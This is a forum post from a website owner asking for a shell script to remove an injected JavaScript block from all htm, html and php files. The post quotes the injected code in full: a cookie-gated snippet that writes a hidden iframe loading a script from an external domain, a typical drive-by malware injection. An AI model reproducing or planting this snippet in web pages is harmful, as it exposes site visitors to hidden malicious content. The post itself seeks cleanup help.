Hello,
I need a shell script which will search and remove a javascript from all htm, html and php file.
Code:
<script type="text/javascript"> if (navigator.cookieEnabled) {var user = getCookie("seostop");if (user !=1){winchristop();setCookie("seostop", "1", 7, "/");}}function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}function winchristop(){var a = 'style="hidden" frameborder=0 '; document.write('<iframe src ="http://irwinchristopher.co.cc/in.cgi?4" width=10 height=5 '+a+' marginheight=0 marginwidth=0 scrolling=no> </iframe>' );}function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} </script>
This is the script that i want to remove. I don't want to change the ownership of any of the file from which this script will be removed. Just wanna remove this specific line from all file in all directories.
Thanks for you help in advance.
Regards,
Saif